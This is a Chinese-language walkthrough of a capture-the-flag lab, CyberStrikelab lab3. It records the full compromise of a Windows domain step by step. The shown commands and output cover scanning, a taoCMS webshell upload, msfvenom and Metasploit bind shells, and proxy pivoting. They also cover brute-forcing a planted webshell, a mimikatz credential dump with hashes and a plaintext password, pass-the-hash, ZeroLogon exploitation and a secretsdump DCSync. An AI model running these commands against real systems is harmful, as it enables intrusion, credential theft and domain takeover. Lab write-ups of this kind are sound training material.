目录

CyberStrikelab lab3

# flag1

fscan扫描靶机

fscan -h 192.168.10.10 -o 192.168.10.10.result.txt
1

得到信息:

  • DESKTOP-JFB57A8:主机名
  • 3306:当前ip不允许连接
  • CVE-2020-0796 SmbGhost Vulnerable:永恒之黑漏洞

3306不允许连接,放弃。永恒之黑利用成功率低,不做首选。尝试全端口扫描

fscan -h 192.168.10.10 -p 1-65535 -o 192.168.10.10.result.txt
1

发现3590端口存在一个web服务,访问,一个taocms

搜索相关漏洞,找到一篇taoCMS v3.0.2 文件上传漏洞(CVE-2022-23880) (opens new window)

登录

默认密码admin/tao成功进入后台,写入webshell,蚁剑连接

C盘根目录flag1

flag1:go-flag{IpbKNIOigmnsuwY3}

# flag2

x64,system权限。蚁剑上传正向shellexe,上线metasploit

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe -o bind_shell_x64.exe
1
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/bind_tcp
set LPORT 4444
set rhost 192.168.10.10
run
1
2
3
4
5

两张网卡,蚁剑上传fscan扫描内网

10网段已经扫过,只扫20网段

fscan -h 192.168.20.0/24 -o 192.168.20.result.txt
1

从icmp扫描可知存活3台,以及20.20主机是一台域成员

[2025-10-04 15:19:08] [HOST] 目标:192.168.20.10 状态:alive 详情:protocol=ICMP
[2025-10-04 15:19:08] [HOST] 目标:192.168.20.20 状态:alive 详情:protocol=ICMP
[2025-10-04 15:19:09] [HOST] 目标:192.168.20.30 状态:alive 详情:protocol=ICMP
[2025-10-04 15:20:17] [SERVICE] 目标:192.168.20.20 状态:identified 详情:hostname=cyberweb, ipv4=[192.168.20.20], ipv6=[]
[2025-10-04 15:20:17] [SERVICE] 目标:192.168.20.30 状态:identified 详情:ipv4=[192.168.20.30], ipv6=[], hostname=WIN-7NRTJO59O7N
[2025-10-04 15:20:17] [SERVICE] 目标:192.168.20.20 状态:identified 详情:computer_name=cyberweb.cyberstrikelab.com, domain_name=cyberstrikelab.com, netbios_domain=CYBERSTRIKELAB, netbios_computer=CYBERWEB, workstation_service=CYBERWEB, server_service=CYBERWEB, os_version=Windows Server 2012 R2 Standard 9600, port=139
1
2
3
4
5
6

对20.20、20.30进行全端口扫描

fscan -h 192.168.20.20 -p 1-65535 -o 192.168.20.20.result.txt
fscan -h 192.168.20.30 -p 1-65535 -o 192.168.20.30.result.txt
1
2

20.20主机8055端口存在一个web服务

msf在sessions1里搭建一个socks5代理,先添加路由

meterpreter > run autoroute -s 192.168.20.0/24
meterpreter > bg
msf > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set VERSION 5
VERSION => 5
msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0
SRVHOST => 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1088
SRVPORT => 1088
msf6 auxiliary(server/socks_proxy) > run
1
2
3
4
5
6
7
8
9
10

浏览器插件配置下socks5代理,20.20的8055端口是一个thinkphp v5.0.24版本,使用综合工具没有梭哈出来

题目提示:听说有小黑已经渗透过了,木马留在主页

使用burp intruder爆破,使用msf把20.20的8055端口映射到本地一个

msf > portfwd add -l 10000 -p 8055 -r 192.168.20.20
1

爆破,密码admin123

蚁剑配置代理

C盘根目录flag2

flag2:go-flag{C2AoW93mioh5XYQg}

# flag3

x64,system权限。在20.20主机上蚁剑上传bind_shell_x64.exe,上线metasploit

现在需要域成员打域控,因为完全没有了解,搜索一下相关姿势,找到一篇域渗透-获取域控方法总结 (opens new window)

方法有这些:

  • 方法1.通过高权限读取本地密码
  • 方法2.SYSVOL组策略获取密码
  • 方法3.Kerberoasting
  • 方法4.CVE-2019-1040
  • 方法5.CVE-2020-1472-ZeroLogon
  • 方法6.MS14-068漏洞进行提权
  • 方法7.窃取域管理员令牌
  • 方法8.进程迁移

其中,方法1、方法5很容易检测,直接使用mimikatz就可以完成检测

# 方法1.通过高权限读取本地密码

现在,域成员20.20主机的system已经拿下,可以尝试读取哈希,如果域控登录过这台主机,就可以使用域控的哈希利用哈希传递拿下域控

加载mimikatz,读取哈希

msf > sessions -i 2
meterpreter > load kiwi
meterpreter > kiwi_cmd "sekurlsa::logonpasswords"
1
2
3
点击查看
meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.
meterpreter > kiwi_cmd "sekurlsa::logonpasswords"

Authentication Id : 0 ; 177744 (00000000:0002b650)
Session           : Interactive from 1
User Name         : Administrator
Domain            : CYBERWEB
Logon Server      : CYBERWEB
Logon Time        : 2025/10/4 14:47:30
SID               : S-1-5-21-1199753642-983303870-2358876100-500
        msv :
         [00010000] CredentialKeys
         * NTLM     : e4394700b5fc2b9cc8c727b6f330ce0b
         * SHA1     : 6233658f16e4ee327356e2239bc135e7403e80b1
         [00000003] Primary
         * Username : Administrator
         * Domain   : CYBERWEB
         * NTLM     : e4394700b5fc2b9cc8c727b6f330ce0b
         * SHA1     : 6233658f16e4ee327356e2239bc135e7403e80b1
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : CYBERWEB
         * Password : (null)
        kerberos :
         * Username : Administrator
         * Domain   : CYBERWEB
         * Password : (null)
        ssp :   KO
        credman :

Authentication Id : 0 ; 53484 (00000000:0000d0ec)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2025/10/4 14:46:53
SID               : S-1-5-90-1
        msv :
         [00000003] Primary
         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * NTLM     : 4b041dd223094787b36183661ee37d77
         * SHA1     : ab7d1c884b8c1d6957ad0e6dfeb9d288cb5b48af
        tspkg :
        wdigest :
         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * Password : (null)
        kerberos :
         * Username : CYBERWEB$
         * Domain   : cyberstrikelab.com
         * Password : )[.]tt HRzGs\;WR!xi&lOf-#uY <E>>A:V6817_3)5Nbt?n/Cz&KDw n7'P)(mv%XN sXMGiJb+\W7@?7s3f,yoF^-j0*f'\>*,vZe&!?'mIjdU2COYa_PH
        ssp :   KO
        credman :

Authentication Id : 0 ; 53466 (00000000:0000d0da)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2025/10/4 14:46:53
SID               : S-1-5-90-1
        msv :
         [00000003] Primary
         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * NTLM     : 1a58a4000b56b52a02e71aa011e46f3d
         * SHA1     : 5f8547b33ec1074d2480812be41fa076895458e6
        tspkg :
        wdigest :
         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * Password : (null)
        kerberos :
         * Username : CYBERWEB$
         * Domain   : cyberstrikelab.com
         * Password : b3 2d 9a 36 82 5b 8c 6d f9 5c 21 62 8d 03 48 e4 64 d7 34 63 83 00 1d 3a f8 fc f7 0d b9 f2 ae a2 b4 28 64 de 98 b7 03 a5 ec
0a 20 b4 58 af 2d 02 b4 92 ca 14 dc 3e bb da c1 3c e3 dc a9 21 f1 e5 0f ab dc 59 bd f0 df 19 44 0f 8a ee 3e 45 55 9f 70 64 5a fe e7 37 46 e5 40 f6 71 33 a1 e5 41 3f 6d 77 2f 9e 59 72 24 58 e3 53 75 2b 88 01 c2 80 ce c0 f5 3c 2c e6 6b 25 54 61 4d ea 6f 68 d6 f7 aa d9 7a dc 91 8d 4d 3a b4 07 b0 ed 13 d5 c8 73 0e a0 92 8e 81 9c e8 9a 71 62 c2 9d c9 f1 d4 ed a6 84 80 62 21 fc 8f 06 de b6 c1 d3 f8 8e 4b e1 f6 e5 55 6d 8a 3d bf 46 ed 67
fb 4f 9d 28 ce 14 37 aa 10 da e0 36 08 a6 17 af 28 03 6c f2 e8 e6 ff 7c 58 47 86 93 60 e5 85 2e 78 c3 16 02 bd 52 88 59 0c 9a e1 d9 1c 1e 9b 2b a7 89 6f 4d c5 85
        ssp :   KO
        credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : CYBERWEB$
Domain            : CYBERSTRIKELAB
Logon Server      : (null)
Logon Time        : 2025/10/4 14:46:52
SID               : S-1-5-20
        msv :
         [00000003] Primary
         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * NTLM     : 1a58a4000b56b52a02e71aa011e46f3d
         * SHA1     : 5f8547b33ec1074d2480812be41fa076895458e6
        tspkg :
        wdigest :
         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * Password : (null)
        kerberos :
         * Username : cyberweb$
         * Domain   : CYBERSTRIKELAB.COM
         * Password : b3 2d 9a 36 82 5b 8c 6d f9 5c 21 62 8d 03 48 e4 64 d7 34 63 83 00 1d 3a f8 fc f7 0d b9 f2 ae a2 b4 28 64 de 98 b7 03 a5 ec
0a 20 b4 58 af 2d 02 b4 92 ca 14 dc 3e bb da c1 3c e3 dc a9 21 f1 e5 0f ab dc 59 bd f0 df 19 44 0f 8a ee 3e 45 55 9f 70 64 5a fe e7 37 46 e5 40 f6 71 33 a1 e5 41 3f 6d 77 2f 9e 59 72 24 58 e3 53 75 2b 88 01 c2 80 ce c0 f5 3c 2c e6 6b 25 54 61 4d ea 6f 68 d6 f7 aa d9 7a dc 91 8d 4d 3a b4 07 b0 ed 13 d5 c8 73 0e a0 92 8e 81 9c e8 9a 71 62 c2 9d c9 f1 d4 ed a6 84 80 62 21 fc 8f 06 de b6 c1 d3 f8 8e 4b e1 f6 e5 55 6d 8a 3d bf 46 ed 67
fb 4f 9d 28 ce 14 37 aa 10 da e0 36 08 a6 17 af 28 03 6c f2 e8 e6 ff 7c 58 47 86 93 60 e5 85 2e 78 c3 16 02 bd 52 88 59 0c 9a e1 d9 1c 1e 9b 2b a7 89 6f 4d c5 85
        ssp :   KO
        credman :

Authentication Id : 0 ; 26478 (00000000:0000676e)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2025/10/4 14:46:51
SID               :
        msv :
         [00000003] Primary
         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * NTLM     : 1a58a4000b56b52a02e71aa011e46f3d
         * SHA1     : 5f8547b33ec1074d2480812be41fa076895458e6
        tspkg :
        wdigest :
        kerberos :
        ssp :   KO
        credman :

Authentication Id : 0 ; 265783 (00000000:00040e37)
Session           : Interactive from 0
User Name         : cyberweb
Domain            : CYBERSTRIKELAB
Logon Server      : WIN-7NRTJO59O7N
Logon Time        : 2025/10/4 22:47:59
SID               : S-1-5-21-3614065708-1162526928-2578637-1107
        msv :
         [00010000] CredentialKeys
         * NTLM     : c377ba8a4dd52401bc404dbe49771bbc
         * SHA1     : d9ac14100bf4e36f6807dd3c29051983b2d58d3d
         [00000003] Primary
         * Username : cyberweb
         * Domain   : CYBERSTRIKELAB
         * NTLM     : c377ba8a4dd52401bc404dbe49771bbc
         * SHA1     : d9ac14100bf4e36f6807dd3c29051983b2d58d3d
        tspkg :
        wdigest :
         * Username : cyberweb
         * Domain   : CYBERSTRIKELAB
         * Password : (null)
        kerberos :
         * Username : cyberweb
         * Domain   : CYBERSTRIKELAB.COM
         * Password : qwe123!@#
        ssp :   KO
        credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2025/10/4 14:46:53
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :   KO
        credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : CYBERWEB$
Domain            : CYBERSTRIKELAB
Logon Server      : (null)
Logon Time        : 2025/10/4 14:46:50
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * Password : (null)
        kerberos :
         * Username : cyberweb$
         * Domain   : CYBERSTRIKELAB.COM
         * Password : (null)
        ssp :   KO
        credman :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205

发现有一个域用户:CYBERWEB$,明文密码qwe123!@#,NTLM哈希c377ba8a4dd52401bc404dbe49771bbc

msf尝试哈希传递psexec拿shell

meterpreter > bg
[*] Backgrounding session 2...
msf exploit(multi/handler) > use exploit/windows/smb/psexec
msf exploit(windows/smb/psexec) > set RHOSTS 192.168.20.30
msf exploit(windows/smb/psexec) > set SMBDomain CYBERSTRIKELAB
msf exploit(windows/smb/psexec) > set SMBUser cyberweb
msf exploit(windows/smb/psexec) > set SMBPass c377ba8a4dd52401bc404dbe49771bbc
msf exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/bind_tcp
msf exploit(windows/smb/psexec) > set rhost 192.168.20.30
msf exploit(windows/smb/psexec) > set lport 4444
msf exploit(windows/smb/psexec) > run
1
2
3
4
5
6
7
8
9
10
11

登录域控失败了,没有权限,这个用户权限太低了

[-] 192.168.20.30:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid.
1

# 方法5.CVE-2020-1472-ZeroLogon

已经加载了mimikatz模块,测试ZeroLogon漏洞。补充ZeroLogon是什么,ZeroLogon (CVE-2020-1472) 漏洞利用 (opens new window)

提示

攻击者只需要定位域控主机名及IP,并且可以访问域控,就可以在无需任何凭据的情况下 (可在域外) 拿到域管理员的权限。

前面fscan扫描过程已经拿到了20.30主机名WIN-7NRTJO59O7N

检测是否存在这个CVE漏洞

meterpreter > kiwi_cmd lsadump::zerologon /target:192.168.20.30 /account:WIN-7NRTJO59O7N$
1

验证存在漏洞

尝试把主机WIN-7NRTJO59O7N$密码置空

meterpreter > kiwi_cmd "lsadump::zerologon /target:192.168.20.30 /account:WIN-7NRTJO59O7N$ /exploit"
1

置空后,使用Impacket 的wmiexec.py登录域控

安装python的impacket库

python -m pip install impacket
1

使用空密码哈希值31d6cfe0d16ae931b73c59d7e0c089c0进行DCSync欺骗域控,抓取域内所有用户哈希,本地配置proxifier,让python走socks5代理

python D:\ServBay\packages\python\3.10\Scripts\secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CYBERSTRIKELAB/WIN-7NRTJO59O7N$@192.168.20.30'
1

拿到域管理员哈希,使用域管理员哈希进行哈希传递,在20.30主机上使用psexec开一个system权限的shell, Windows 的服务默认是以 NT AUTHORITY\SYSTEM 账户运行的,使用PsExec开启一个shell服务,就可以拿到system

python D:\ServBay\packages\python\3.10\Scripts\psexec.py -hashes :f349636281150c001081894de72b4e2b CYBERSTRIKELAB/Administrator@192.168.20.30
1

flag3:go-flag{ueoJt7eB6AQL8OpL}

最后一次更新于: 2025/10/05, 00:50:01